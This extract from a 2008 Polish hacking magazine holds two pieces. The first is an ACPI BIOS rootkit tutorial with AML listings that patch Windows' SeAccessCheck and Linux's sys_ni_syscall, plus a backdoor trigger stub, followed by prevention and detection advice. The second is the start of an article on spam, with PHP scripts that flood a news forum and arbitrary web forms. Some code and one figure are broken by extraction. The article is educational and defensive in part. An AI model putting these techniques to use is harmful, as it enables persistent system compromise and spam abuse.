twarde. Umożliwiono również włączanie 
komputera za pomocą klawiszy na 
klawiaturze, poprzez specjalny klawisz lub 
wpisanie odpowiedniej sekwencji klawiszy, 
ustawianej w BIOSie komputera. 

ACPI wprowadził tzw. stany działania 

komputera. Stany te definiują sposób 
poboru mocy przez sprzęt. Dzielą się one 
na podstany, coraz to bardziej szczegółowo 
określając ilość niezbędnej energii. 
Podstawowymi stanami są:

•   G0 – pracuje – komputer znajduje się 

pod zasilaniem i jest w trakcie pracy,

•   G1 – uśpiony – stan hibernacji lub 

wstrzymania znany np. z komputerów 
przenośnych, dzieli się na kolejne 
podstany określające jak bardzo 
komputer jest uśpiony i jaki jest jego 
aktualny pobór napięcia,

•   G2 – stan podobny do G3, gdzie 

komputer jest wyłączony – z tą 
różnicą, że część komponentów może 
znajdować się pod napięciem w 
celu umożliwienia np. uruchomienia 
komputera za pomocą klawisza 
spacji, w stanie tym zasilanie musi być 
fizycznie podłączone do komputera,

•   G3 – stan wyłączenia, brak zasilania, 

stan równoważny fizycznemu 
odłączeniu zasilania od komputera.

Z punktu widzenia rootkita najważniejszą 
częścią standardu ACPI jest dostępność 
języków AML i ASL, które to umożliwiają 
modyfikację pamięci komputera 
(tablic ACPI), co może prowadzić np. 
do nadpisania sterownika urządzenia 
sieciowego – tak, aby to wysyłało pakiety 
na określony adres MAC/IP (w zależności, 
czy działamy w sieci lokalnej, czy w sieci 
Internet). 

Istotnym elementem ACPI w kontekście 

działania rootkita są tak zwane tablice (czy 
też tabele) ACPI, które zawierają informacje 
o różnych urządzeniach zainstalowanych 
w komputerze i sposobie ich obsługi. 
Możliwość nadpisania tych tablic pozwala 
na zaalokowanie kodu rootkita do 
odpowiedniego miejsca w pamięci. 

Skoro tablice te są istotnym elementem 

wymaganym do poprawnego działania 
rootkita, należałoby poznać ich rodzaje 

i funkcje. Wyróżniamy ponad 10 typów 
takich tabel, począwszy od głównej tablicy 
urządzeń, wskaźników, tablic rozszerzonych, 
firmware. Więcej na ich temat można 
znaleźć pod adresami podanymi w ramce 
W Sieci. Dla nas jednak tablice te nie będą 
istotne, albowiem użyjemy innej metody 
– bezpośrednio nadpiszemy pamięć – tak, 
aby uzyskać pełne przywileje dla naszego 
backdoora. Zostanie przedstawiona 
zarówno technika dla systemu Windows, 
korzystająca z funkcji dlań specyficznych, 
jak również sposób na umieszczenie 
takiego BIOSowego backdoora w systemie 
z rodziny GNU/Linux, dzięki czemu 
większość stacji serwerowych i desktopów 
stanie się podatna na nasz atak.

Założenia rootkita ukrytego 

w BIOSie – wady i zalety

Zanim przystąpimy do tworzenia 
właściwego rootkita, który następnie 
zostanie ukryty w BIOSie, musimy zadać 
sobie podstawowe pytanie – dlaczego 
wybieramy akurat taką metodę? Przecież 
można w o wiele łatwiejszy sposób 
przygotować działającego backdoora
dodatkowo ukryć go w istniejącym 
systemie plików systemu operacyjnego i 
mieć problem z głowy, nie zawracając jej 

sobie niepotrzebnymi trudnościami. Co 
więc takiego daje nam rootkit ukryty w 
BIOSie?

Cóż, niewątpliwą zaletą takiego 

rozwiązania jest jego trwałość. Niezależnie 
od warunków, w jakich sprzęt będzie 
działał, niezależnie od liczby jego rebootów, 
awarii zasilania czy wreszcie nawet 
przeinstalowania systemu operacyjnego, 
nasz kod ciągle pozostanie w komputerze. 
Nie musimy zajmować się więc dodaniem 
procedur uruchomieniowych rootkita do 
procesów startowych zaatakowanego 
systemu operacyjnego, nie musimy 
obawiać się jego usunięcia wraz z 
pojawieniem się świeżej wersji systemu na 
maszynie ofiary (oczywiście, jeśli system 
będzie zgodny z tym zainstalowanym 
poprzednio – rootkit dla Linuksa nie 
zadziała na Windows).

Jedną z największych korzyści jest 

trudność wykrycia takiego oprogramowania. 
Przecież klasyczne programy antywirusowe 
czy wykrywacze rootkitów skanują 
tylko system plików i pamięć RAM, nie 
sprawdzają jednak BIOSu i jego pamięci 
flash. Trudno jest więc pozbyć się takiego 
szkodnika, jeśli uda mu się zainfekować 
nasz komputer. Jest to już zupełnie inną 
kwestią, opisywaną zresztą nieco dalej.

Listing 1. 

Prototyp funkcji OperationRegion

OperationRegion(Nazwa, Przestrzeń, Offset, Długość);

Listing 2. 

Prototyp funkcji SeAccessCheck

BOOLEAN

 

SeAccessCheck

(

            

IN

 

PSECURITY_DESCRIPTOR

 

SecurityDescriptor

,

            

IN

 

PSECURITY_SUBJECT_CONTEXT

 

SubjectSecurityContext

,

            

IN

 

BOOLEAN

 

SubjectContextLocked

,

            

IN

 

ACCESS_MASK

 

DesiredAccess

,

            

IN

 

ACCESS_MASK

 

PreviouslyGrantedAccess

,

            

OUT

 

P

 

PRIVILEGE_SET

 

*

Privileges

 

OPTIONAL

,

            

IN

 

PGENERIC_MAPPING

 

GenericMapping

,

            

IN

 

KPROCESSOR_MODE

 

AccessMode

,

            

OUT

 

PACCESS_MASK

 

GrantedAccess

,

            

OUT

 

PNTSTATUS

 

AccessStatus

            

);

Listing 3. 

Nadpisanie funkcji systemu Windows, przedstawione przez Johna 

Heasmana na konferencji BlackHat

OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve)
{
   FLD1, 0x8
}
Store(0x0, FLD1)

background image

ATAK

40

 

HAKIN9 6/2008

41

 

HAKIN9 

6/2008

Nie ma jednak rzeczy idealnych. Mimo 

niewątpliwych plusów, rootkity ukrywane 
w BIOSie mają pewne zasadnicze wady. 
Przede wszystkim nasuwa się pytanie 
o możliwość umieszczenia takiego 
oprogramowania w BIOSie komputera. 
Przecież można zablokować możliwość 
flashowania BIOSu, a więc zapisywania 
czegokolwiek w jego pamięci flash. Często 
jest to blokada sprzętowa, polegająca 
na ustawieniu jakiejś zworki na płycie 
głównej. Sam BIOS nierzadko pozwala 
na regulację uprawnień zapisu w pamięci 
flash. Aby operacja umieszczania rootkita 
zakończyła się sukcesem, musimy więc 
mieć pewność, że uda nam się go 
zapisać, że płyta główna jest odpowiednio 
skonfigurowana i wreszcie, że sam BIOS 
na to pozwala. Nadpisywanie BIOSu też 
nie jest operacją prostą, musimy być 
bowiem wyposażeni w odpowiednie 
oprogramowanie i odrobinę wiedzy o 
konkretnym układzie. 

Sam fakt stworzenia takiego 

oprogramowania nasuwa pewne 
trudności. Musimy mieć bowiem 
pojęcie o niskopoziomowych funkcjach 
ACPI, o działaniu samego BIOSu, 
o strukturze pamięci atakowanego 

systemu operacyjnego i mechanizmach 
zabezpieczających, których on używa. 
Wreszcie, musimy mieć pomysł na 
wklejenie naszego kodu do systemu – tak, 
aby za każdym razem się poprawnie 
uruchamiał. 

Znając już wady i zalety takiego 

rozwiązania, możemy z czystym 
sumieniem przystąpić do tworzenia 
rootkita – o ile oczywiście uznamy, że 
nakład pracy, który należy włożyć w jego 
opracowanie będzie odpowiedni do 
uzyskanego wyniku.

AML – klucz 

do bram systemu

AML, czyli język maszynowy ACPI, jest 
językiem programowania w pełnym 
tego słowa znaczeniu. Posiada on 
konstrukcje logiczne, możliwość kontroli 
przepływu danych, implementuje operacje 
bitowe, możliwość wykonywania działań 
arytmetycznych czy synchronizacji 
wykonywanych operacji. Dostępne są 
także różne typy danych – zarówno do 
odczytu, jak i zapisu. Daje on więc całkiem 
spore możliwości potencjalnemu intruzowi, 
który chciałby wykorzystać go w celach 
innych niż pierwotne przeznaczenie.

Użyjemy w zasadzie tylko jednej funkcji, 

którą doskonale opisuje John Heasman w 
swojej prezentacji z konferencji BlackHat. 
Prototyp funkcji przedstawiono na Listingu 1.

Funkcja ta została zaprojektowania 

w celu udostępnienia prostej metody do 
tworzenia interfejsów dla urządzeń. Prościej 
mówiąc, jest ona niezwykle przydatna, 
gdy chcemy w prosty sposób obsłużyć 
zachowanie określonego urządzenia, 
związane najczęściej z pobieraniem przez 
nie mocy. Funkcja ta przyjmuje cztery 
parametry:

•   Nazwa – ogólna nazwa obszaru w 

pamięci, do którego się odwołujemy; 
określamy, jakiego urządzenia jest to 
pamięć,

•   Przestrzeń – przestrzeń w pamięci 

Nazwa, której dotyczy nasze odwołanie. 
Poprawnymi polami przestrzeni 
pamięci operacyjnej (czyli tej, do której 
będziemy się odwoływać) są SystemIO, 
SystemMemory, CMOS, PCI_Config, 
SMBus,

•   Offset – jak sama nazwa wskazuje, jest 

to przesunięcie względem początku 
pamięci,

•   Długość – ilość zapisywanych/

czytanych bajtów.

Warto wspomnieć, że funkcja ta może 
służyć zarówno do zapisu informacji, 
jak i do ich odczytu. Dodatkowo, nazwy i 
przestrzenie, zwane zgodnie z nazwą funkcji 
regionami, można dzielić na mniejsze 
jednostki zwane polami (ang. Field). 

Co w praktyce daje nam ta funkcja? 

Cóż, dosłownie nieograniczone możliwości 
modyfikowania pamięci. Dzieje się tak 
dlatego, że sterownik ACPI działa z 
nieograniczonymi przywilejami, może 
więc modyfikować dowolne miejsce w 
pamięci. Oczywiście nie pozostanie to 
niezauważone, jednak o tym wspomnimy 
w części artykułu poświęconej wykrywaniu 
tego typu ataków.

Nasz rootkit wykorzysta jedną z 

koncepcji Johna Heasmana z konferencji 
BlackHat, gdzie pokazał on, w jaki sposób 
możemy utworzyć takiego właśnie 
backdoora. Oczywiście jest to tylko 
jedna z wielu dostępnych metod, jednak 
opisywanie każdej z nich nie miałoby 
większego sensu ze względu na dużą 
rozległość tematu.

Rysunek 1. 

Struktura ACPI na komputerze

��������������������

����������������

�����������

�������������

�������

������

���������

�����������

�������������

������������

������������������

����������

��������������
�������

�������������

���������
�����������

W Sieci:

•   http://www.acpi.info – strona domowa ACPI,
•   http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf – 

prezentacja Johna Heasmana na konferencji BlackHat, 

•   http://www.osronline.com/DDKx/kmarch/k110_42wi.htm – opis funkcji SeAccessCheck,
•   http://pl.wikipedia.org/wiki/ACPI – strona Wikipedii dotycząca ACPI. Godna lektury.

background image

ATAK

40

 

HAKIN9 6/2008

41

 

HAKIN9 

6/2008

Wiemy już, jak stworzymy rootkita, 

pozostaje jeszcze dobór odpowiednich 
narzędzi. Niezbędny będzie kompilator 
ASL/AML, który można bezpłatnie pobrać 
ze stron firmy Microsoft, jak również z 
oficjalnej strony opisującej standard 
ACPI. Linki te podane są w ramce 
Sieci
. Niezbędny będzie również dobry 
asembler i dezasembler. Dlaczego? Otóż, 
aby umieścić coś w pamięci flash BIOSu, 
musimy go w jakiś sposób nadpisać. 
Oznacza to, że należy dołączyć nasz kod 
do kodu BIOSu producenta płyty głównej, 
czyli mówiąc wprost – niezbędna jest jego 
dezasemblacja i ponowna kompilacja 
wraz z dołączonym kodem. Warto 
dodać, iż sam BIOS zawiera interpreter 
niezbędny do wykonania naszego kodu 
ASL/AML. Doskonałym dezasemblerem 
jest IDA Pro Free, którą można 
pobrać ze strony producenta, również 
wyszczególnionej w ramce W Sieci
Zaopatrzeni w odpowiednie narzędzia, 
możemy przystąpić do demonstracji 
przykładowego kodu backdoora, wraz 
z opisem jego działania. Będziemy się 
ciągle opierać na badaniach Johna 
Heasmana, zaprezentowanych podczas 
konferencji BlackHat.

Budujemy rootkita

Pierwszą i zasadniczą kwestią, która 
decyduje o kształcie rootkita, jest system 
operacyjny, który ma paść jego ofiarą. 
Różne będą bowiem metody obejścia 
zabezpieczeń Windows, różne – Linuksa. 
Chodzi generalnie o włączenie naszego 

rootkita do pamięci – tak, aby kod w nim 
zapisany zaczął się wykonywać. 

Zacznijmy od systemu Windows – jako, 

że jest on chyba nieco bardziej popularny 
od darmowego Linuksa. Zgodnie z tym, 
co przedstawił Heasman, w systemach z 
rodziny NT mamy do czynienia z funkcją 

SeAccessCheck

, której zadaniem jest 

sprawdzenie, czy aktualnie działający 
proces ma pełne, czy ograniczone prawa 
dostępu do zasobów systemowych. 
Prototyp tejże funkcji przedstawiony jest na 
Listingu 2.

Jak widać na Listingu 2., funkcja 

przyjmuje dużą ilość parametrów. 
Większości z nich nie trzeba opisywać, 
albowiem ich nazwy są na tyle intuicyjne, 
że nawet mało wprawny użytkownik będzie 
wiedział, jakie jest ich zastosowanie i 
znaczenie.

Dla nas interesujący jest parametr 

AccessMode

, który odpowiada za 

ustalenie, czy wywołanie jest dokonywane 
z przestrzeni jądra systemu, otrzymując 
tym samym pełne uprawnienia, czy też 
z poziomu przestrzeni użytkownika, czyli 
ze sporymi ograniczeniami w swobodzie 
wykonywania kodu. Jasnym jest więc, 
że musimy w jakiś sposób ustawić dla 
naszego rootkita odpowiednią wartość 
tego parametru. Użyjemy do tego 
celu skryptowego języka ACPI, tak, jak 
zaprezentował Heasman na konferencji 
BlackHat. Odpowiednie wywołanie funkcji 
zaprezentowane jest na Listingu 3.

Jak widać na listingu, funkcja nadpisuje 

adres w pamięci, w którym rezyduje 

Listing 4. 

Nadpisanie funkcji obsługi nieużywanego przerwania – sys_ni_syscall()

OperationRegion(NISC, SystemMemory, 0x12BAE0, 0x40)
{
   NICD, 0x40
}
Store(Buffer () {0xFF, 0xD3, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90}, NICD)

Listing 5. 

Uruchomienie backdoora

#define UNUSED_INT 0x11 // nieużywane przerwanie
#include 

<syscall.h>

int

 

backdoor

()

 

{

   // 

tutaj

 

jest

 

kod

 

naszego

 

backdoora

   

return

 

-

ENOSYS

;

 // 

kod

 

b

łę

du

 

zwi

ą

zany

 

z

 

obs

ł

ug

ą 

nieistniej

ą

cego

 

przerwania

}

int

 

main

()

 

{

   

return

 

(

syscall

(

UNUSED_INT

&

backdoor

));

}

background image

ATAK

42

 

HAKIN9 6/2008

Windowsowe sprawdzenie przestrzeni 
wykonywania rozkazu. Nadpisując 
konkretne pole funkcji odpowiednią 
wartością, wymusimy traktowanie kodu 
naszego rootkita jako uprzywilejowanego, 
wywoływanego przez kernel. Stąd 
uzyskujemy pełne prawa pracy na systemie 
Windows, tak, jakbyśmy dysponowali 
rootkitem przestrzeni kernela. Jednak 
zaletą naszego rozwiązania jest fakt, że 
rootkit będzie bardzo trudny do wykrycia i 
usunięcia z poziomu systemu Windows. 

Widać jednak, że skonstruowanie 

takiego rootkita wiąże się z dużym 
wysiłkiem i nakładem pracy. Dodatkowo, 
gdyby nie prezentacja wielokrotnie 
cytowanego i wspominanego przeze 
mnie Johna Heasmana, trudnym byłoby 
dojście do tego wszystkiego i samodzielne 
odkrycie tajników rootkita ACPI. 

W systemie Linux Heasman 

zaproponował inny rodzaj exploitacji 
mającej na celu przejęcie uprawnień 
jądra systemu. Metoda opiera się na 
wykorzystaniu specjalnej funkcji systemu 
Linux, której zadaniem jest obsługa 
nieużywanych przerwań. Musimy więc 
odwołać się do nieużywanego przerwania 
systemowego, aby wywołać tę właśnie 
funkcję. Oczywiście, zostanie ona 
nadpisana, prowadząc do uruchomienia 
naszego rootkita zamiast funkcji obsługi. 
Kod przedstawiony jest na Listingach 4. i 5.

Jak widać na Listingu 4. nadpisujemy 

adres funkcji tak, by zamiast niej wywołana 
została funkcja, której adres rezyduje w 
rejestrze EBX – dane zapisane do bufora 
to nic innego, jak asemblerowe opcody 
instrukcji 

call ebx; retn; nop; nop; 

nop; nop; nop

. Ciało funkcji zostało 

więc nadpisane – tak, by wywołała ona 
zawartość rejestru EBX – to właśnie 
on jest używany przy przekazywaniu 
argumentów do funkcji przerwań przez 
funkcję 

syscall()

. Odpowiednie jej 

wywołanie zaprezentowane jest na 
Listingu 5.

Kod zawarty na Listingu 5 łączy to, co 

zrobiliśmy za pomocą ASL, z systemem 
operacyjnym – obsługa nieużywanego 
przerwania jest przekazywana do naszej 
funkcji, która jest tak naprawdę tylną furtką 
– możemy tam wstawić kod otwierający 
np. powłokę na wskazanym porcie, bądź 
jakąś procedurę logowania zdarzeń 
wykonywanych na komputerze użytkownika. 

Jedynym ograniczeniem, jakie mamy, jest 
nasza wyobraźnia.

Ta sekcja artykułu zaprezentowała 

sposób, w jaki można przygotować 
przykładowego rootkita. Techniki te i wiele 
innych pokazuje John Heasman w swoim 
wystąpieniu z konferencji BlackHat, do 
którego odnośniki znajdują się w ramce 
W Sieci. Ostatnia już część niniejszego 
artykułu będzie poświęcona kwestii, która 
może być bardziej istotna w codziennej 
pracy – jak wykryć takiego rootkita i jak się 
go pozbyć. Nikt przecież nie chciałby być 
ofiarą podobnego ataku, w dodatku ofiarą 
niezorientowaną, co można zrobić w takiej 
nieciekawej sytuacji.

Prewencja i wykrywanie 

– zabezpieczenie komputera 

przed rootkitem

Gdy wiemy już, jak działa rootkit, zostaje nam 
do omówienie kwestia jego wykrycia i, co 
ważniejsze, zabezpieczenia się przed nim. 
Zaczniemy więc od metod zabezpieczenia 
się przed rootkitem w BIOSie.

Podstawową metodą uniemożliwiającą 

instalacje takiego rootkita jest 
zabezpieczenie BIOSu przed flashowaniem
Nie mogąc nadpisać BIOSu, nie mamy 
jak umieścić rootkita w jego pamięci, 
czyli de facto jesteśmy bezpieczni. Jest to 
najprostsza metoda, wiąże się ona jednak 
z pewnymi niedogodnościami, albowiem 
przy każdej próbie aktualizacji BIOSu 
musimy przestawić odpowiednią zworkę 
na płycie głównej, bądź – jeśli BIOS na 
to pozwala – zmienić ustawienia w jego 
programie konfiguracyjnym.

Drugim, choć bardziej radykalnym 

i niekomfortowym w życiu codziennym, 
rozwiązaniem jest po prostu wyłączenie 
obsługi ACPI. Polepszenie bezpieczeństwa 
jest oczywiste, albowiem wszystkie 
funkcje odpowiadające za ACPI zostają 
wyłączone, programy napisane w ASL/AML 
nie działają – jesteśmy stuprocentowo 
bezpieczni. Jednak jest to rozwiązanie o 
tyle niekomfortowe, że tracimy niemałą 
funkcjonalność – czyż nie każdy z nas 
przyzwyczaił się do tego, że po naciśnięciu 
Wyłącz system komputer sam się wyłącza? 
A bez ACPI musielibyśmy w tym celu 
ręcznie wciskać przycisk Power, oczywiście 
po uprzednim ukazaniu się komunikatu, 
znanego np. z Windows 98 - Możesz teraz 
bezpiecznie wyłączyć komputer.

Heasman przedstawił jeszcze jeden 

sposób na zabezpieczenie. Są to BIOSy 
podpisywane cyfrowo, które umożliwiają 
kontrolę nad tym, czy coś niechcianego 
nie zostało zapisane do pamięci flash. 
Dzięki temu unikniemy sytuacji, w której 
niepożądany kod zagości na naszym 
komputerze.

Pozostaje jeszcze kwestia wykrywania 

takich niechcianych rzeczy na naszej 
maszynie. Jak już wspominałem, 
działania rootkita nie pozostaną do końca 
niezauważone. W systemie Windows 
otrzymamy komunikat o błędzie, mówiący 
o tym, że ACPI próbuje odwołać się do 
obszaru pamięci zarezerwowanego dla 
systemu Windows. Będzie to jednak tylko 
powiadomienie, albowiem Windows zezwoli 
na taką operację. 

Na Linuksie możemy posłużyć się 

poleceniem dmesg. Za jego pomocą 
wypiszemy zawartość buforów ACPI oraz 
odczytamy ewentualne kody błędów 
– podobnie, jak w Windows, dowiemy się, 
że coś próbuje odwołać się do adresu w 
pamięci zarezerwowanego dla systemu 
operacyjnego, bądź – że bufory ACPI 
dziwnie wyglądają. 

Detekcja rootkita ACPI nie jest 

więc zadaniem pracochłonnym dla 
doświadczonego administratora. Jednak 
mniej wprawna osoba może nie uznać 
tych błędów za coś groźnego, tłumacząc 
sobie to jakimś wyjątkiem lub zwyczajnie 
– błędem BIOSu.

Podsumowanie

Rootkity ACPI wydają się być ciekawym 
zjawiskiem we współczesnej informatyce. 
Jednak ich skuteczność oraz łatwość 
ukrycia przeciwstawione są ogromnym 
trudnościom w ich implementacji i 
doskonaleniu, do ich poprawnego działania 
niezbędna jest bowiem duża wiedza 
twórcy. Miejmy nadzieję, że Czytelnik 
nie padnie ofiarą tak spreparowanego 
oprogramowania i nie będzie musiał 
martwić się o bezpieczeństwo własnego 
BIOSu, nie tracąc przy tym jego 
funkcjonalności.

Konrad Zuwała

Autor zajmuje się bezpieczeństwem aplikacji 

internetowych oraz szeroko rozumianą ochroną 

systemów komputerowych. W wolnych chwilach 

programuje (głównie C/C++, PHP) oraz zarządza 

portalem internetowym. 

Kontakt z autorem: kzuwala@poczta.onet.pl

background image
background image

44

 

HAKIN9

ATAK

6/2008

A

by daną wiadomość można było nazwać 
spamem, powinna spełniać kilka warunków: 
brak możliwości zidentyfikowania nadawcy, 

niewyrażenie przez odbiorcę zgody na jej 
otrzymanie, wiadomość ma charakter reklamowy, 
informacyjny lub ostrzegawczy.

Profilaktyka

Najlepszą metodą dostarczenia spamerom 
naszego adresu e-mailowego jest jego 
upublicznienie, czyli podanie go w otwartej 
formie na dowolnej stronie internetowej (nawet 
mało znanej), grupie dyskusyjnej itp. Spamerzy 
w celu pozyskiwania adresów stosują programy 
nazywane harvesterami, czyli po polsku 
kombajnami. Są to często skomplikowane 
aplikacje, które umożliwiają wychwycenie nawet 
adresów zabezpieczonych. Dlatego podstawowym 
sposobem ochrony adresu e-mailowego przed 
kombajnami jest niepublikowanie go, przede 
wszystkim na grupach dyskusyjnych (zarówno w 
nagłówku, jak i w treści wpisu), forach dyskusyjnych 
(np. w podpisie), stronach internetowych (w 
komentarzach na innych stronach itp.).

Oczywiście nie należy też podawać adresów 

osób znajomych, ponieważ kombajn nie interesuje 
się tym, skąd adres wziął się w danym medium, 
tylko samym faktem, że tam został umieszczony. 
Złośliwi internauci często podają adresy 
innych osób na popularnych stronach w celu 
spowodowania, by nielubiana osoba dostawała 
więcej spamu. Niestety, często robią to również 

RAFAŁ PODSIADŁY

Z ARTYKUŁU 

DOWIESZ SIĘ

jakie są techniki spamowania,

jak przy pomocy kilku prostych 

chwytów można wysłać mail bez 

adresata,

jak się chronić i na co uważać 

podczas surfowania w 

Internecie.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy PHP,

znać podstawy C++, 

znać podstawy JavaScript

osoby po prostu nieświadome potencjalnych 
szkód dla właściciela adresu. Jeśli jednak nie 
podamy nigdzie swojego adresu, to nikt prócz 
naszych znajomych nie będzie go znał – a 
więc nie będzie się mógł z nami skontaktować. 
Jest to niedopuszczalne np. w przypadku firm. 
Dlatego też należy stosować specjalne sposoby 
ochrony podawanego adresu przed programami 
przeszukującymi – np. poprzez kodowanie 
adresu e-mail w postaci heksadecymalnej. To 
rozwiązanie zabezpieczy nas przed amatorami, ale 
profesjonalne narzędzia spamerów mogą sobie z 
tym zabezpieczeniem poradzić. 

W celu umożliwienia kontaktu – zamiast 

zamieszczać adres e-mail bezpośrednio na 
stronie WWW – możemy utworzyć formularz, w 
którym nadawca będzie mógł wpisać samą treść 
listu, a następnie zatwierdzić jej wysłanie pod 
z góry zdefiniowany adres. Taką metodę firmy 
stosują bardzo często – nie należy się więc dziwić, 
jeśli na jakiejś stronie w zakładce Kontakt zamiast 
adresu znajdziemy taki formularz. Firma po prostu 
chce się ochronić przed spamem.

Inną metodą ochrony jest przekształcenie 

adresu tak, by mógł go odgadnąć tylko człowiek. 
Załóżmy na przykład, że nasz adres e-mail to 
spam@tonid.net. Tradycyjną formą przekształcenia 
jest dodawanie członu nospam – czyli nasz 
adres moglibyśmy podawać jako spam-
nospam@tonid.net.
 Niestety, wiele kombajnów 
rozpoznaje już takie najprostsze przekształcenia. 
Dlatego też im bardziej nietypowe przekształcenie, 

Stopień trudności

Techniki 

spamowania

O tym, co robią spamerzy, jakich technik używają i co grozi 

zwykłemu użytkownikowi, gdy zasiada do komputera. 

background image

45

 

HAKIN9 

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

6/2008

tym lepiej (warto też przy modyfikacjach 
nie używać słów w języku angielskim). 
Dobrym przekształceniem tego adresu 
byłoby więc na przykład spam.usun-
wszystko-po-kropce_malpka_tonid_
kropka_net
. Oczywiście nie należy też 
przesadzać – może się bowiem okazać, iż 
nadawca nie będzie na tyle inteligentny by 
zrozumieć, co należy zrobić, aby z adresu 
przekształconego uzyskać prawidłowy. 
Przekształcenia są szczególnie popularne 
na grupach dyskusyjnych, gdzie mamy do 
dyspozycji niewiele innych metod.

Kolejny chwyt – kodowanie adresu 

za pomocą odwracania prostego 
przy wykorzystaniu algorytmu łatwo 
odwracalnego, na przykład ROT-13 lub 
Base64. Weźmy tekst To zdanie jest 
zakodowane
 – po zastosowaniu ROT-13 
wygląda następująco: Gb mqnavr wrfg 
mnxbqbjnar
. Świadomy internauta od razu 
rozpozna, że adres został zaszyfrowany 
przy użyciu ROT-13, ale możemy dla 
ułatwienia napisać np. w podpisie 
wiadomości wysłanej na grupę dyskusyjną, 
że adres jest zakodowany za pomocą tego 
algorytmu. W celu zakodowania adresu 
przy użyciu algorytmu Base64 możemy 
użyć konwertera, a odkodować go za 
pomocą dekodera. Adres spam@tonid.net 
będzie wyglądać po zakodowaniu 
następująco: c3BhbUB0b25pZC5uZXQ =. 
Niestety, tu koniecznie trzeba podać, w 
jaki sposób adres został zakodowany, 
ponieważ większość internautów nie 
będzie miała zielonego pojęcia, co z takim 
szyfrem zrobić. Artykuł zawiera plik źródłowy 
programu służącego do kodowania 
Base64

Istnieje sporo sposobów na takie 

zakodowanie adresu e-mail, aby był 
on widoczny na stronie internetowej w 
czytelnej formie, zaś nie dawał się łatwo 
wywnioskować z kodu strony. Większość 
kombajnów nie potrafi takich adresów 
wychwycić (ponieważ analizują właśnie 
kod źródłowy, a nie wyświetloną w 
przeglądarce zawartość), ale zawsze istnieje 
niebezpieczeństwo, że spamerzy wbudowali 
już funkcje wychwytujące i dekodujące w 
swoje programy. Pierwszą metodą, którą 
możemy tu zastosować, jest kodowanie za 
pomocą tzw. HTML Entities, czyli encji HTML
Adres spam@tonid.net będzie miał w kodzie 
strony postać: 

&#115;&#112;&#097;&#109;

&#064;&#116;&#111;&#110;&#105;&#100;

&#046;&#110;&#101;&#116;

, ale na stronie 

WWW zostanie wyświetlony w czytelnej dla 
internauty formie oraz poprawnie obsłużony. 
Jednak z najnowszych informacji wynika, że 
roboty już potrafią sobie z tym poradzić.

Drugim sposobem jest kodowanie za 

pomocą tzw. URL encoding (użyteczne tylko 
przy tworzeniu odnośników do wysyłania 
poczty). W tej formie adres spam@tonid.net 
wygląda następująco: %73%70%61%6D%
40%74%6F%6E%69%64%2E%6E%65%74

Adres jest również obsługiwany prawidłowo 
przez przeglądarki. Niestety, chodzą słuchy, 
że ta metoda może również już nie działać 
(a ściślej – że programy spamerów są w 
stanie ją obejść).

Kolejną metodą jest użycie 

JavaScript. Zastosowany algorytm łączy 
Javascript z poprzednimi metodami i 
daje moim zdaniem bardzo wysokie 
prawdopodobieństwo, że programy 
spamerów adresu nie wychwycą. Niestety, 
aby adres został wyświetlony, przeglądarka 
musi mieć włączoną obsługę JavaScript 
(na szczęście w większości przeglądarek 
jest on domyślnie uaktywniony). 

A teraz coś zupełnie z innej beczki 

– zastosowanie obrazka zamiast adresu. 

Ta metoda jest najbezpieczniejsza, jednak 
istnieją także sposoby automatycznego 
przekształcania grafiki na tekst (OCR). 
Wadą jest to, że użytkownicy przeglądarek 
tekstowych oraz osoby niewidome, 
korzystające z narzędzi odczytujących 
głosowo treść strony, naszego adresu 
nie zobaczą. Musimy także wykorzystać 
dodatkową aplikację do stworzenia 
elementu graficznego. Na szczęście 
istnieją co najmniej dwa rozwiązania, które 
mogą nam to ułatwić:

•   Serwis hidentity umożliwia 

automatyczne utworzenie elementu 
graficznego z naszym adresem e-
mail i nie tylko (także np. numerem 
Gadu-Gadu, ICQ, adresem Jabbera, 
adresem strony, numerem telefonu 
itp.). Wystarczy się zarejestrować, 
podać odpowiednie adresy, wybrać 
wzór graficzny i wkleić odpowiedni kod 
na stronie. Jest to rozwiązanie bardzo 
wygodne, ponieważ wszystkie dane są 
przechowywane na koncie hidentity. 
Zatem jeśli zmienimy adres e-mail (lub 
założymy nową skrzynkę), możemy 
po prostu wprowadzić odpowiednie 

Listing 1. 

SpyBot – przykładowy kod spamujący komentarz serwisu Onet.pl

<?

php

  

$url

 = 

'http://wiadomosci.onet.pl/10,15,11,4040918,0,forum.html'

;

  

$post

 = 

'FormID=1187433833.3CA88848&TT=Test&TX=Testowa tresc&PD=testowy&OK'

;

 
  

$ch

 = curl_init

(

 

)

;

  curl_setopt

(

 

$ch

, CURLOPT_URL, 

$url

 

)

;

  curl_setopt

(

 

$ch

, CURLOPT_RETURNTRANSFER, 1 

)

;

  curl_setopt

(

 

$ch

, CURLOPT_POST, 1 

)

;

  curl_setopt

(

 

$ch

, CURLOPT_POSTFIELDS, 

$post

 

)

;

  curl_exec

(

 

$ch

 

)

;

  curl_close

(

 

$ch

 

)

;

?>

Listing 2. 

SpyBot – przykładowy kod spamujący odnaleziony formularz

<?

php

  

$code

 = file_get_contents

(

 

'adres'

 

)

;

  preg_match

(

 '#

<

form action=

"(.*?)"

#

', $code, $action );

  preg_match_all( '

#

<

input name=

"(.*?)"

#

', $code, $inputs );

  
  foreach( $inputs[1] as $input )
  {
    $data .= $input . '

=spam&

';

  }
  
  file_get_contents( $action[1] . '

?'

 

. $data );

?

>

background image

ATAK

46

 

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

47

 

HAKIN9 

6/2008

modyfikacje w konfiguracji konta, 
a wszystkie wyświetlane na innych 
stronach (w tym np. na forach 
dyskusyjnych) obrazki zostaną 
automatycznie zmodyfikowane.

•   Niektóre techniki sprowadzają się do 

umieszczania całej treści strony www 
w CSS. Jest to jednak propozycja 

dla bardziej zaawansowanych 
webmasterów.

Ciekawą metodą przeciwdziałania 
kombajnom jest walka aktywna, a 
więc podawanie im ogromnej liczby 
fałszywych, nieistniejących adresów 
e-mail (bądź adresów należących do 

spamerów). Kombajn nie jest bowiem 
w stanie sprawdzić, czy adres jest 
prawidłowy, czy nie (może jedynie 
sprawdzać jego składnię). W ten 
sposób spamerskie kombajny zostają 
przepełnione fałszywymi adresami – co 
powoduje, że efektywność wysyłania 
spamu znacznie się zmniejsza.

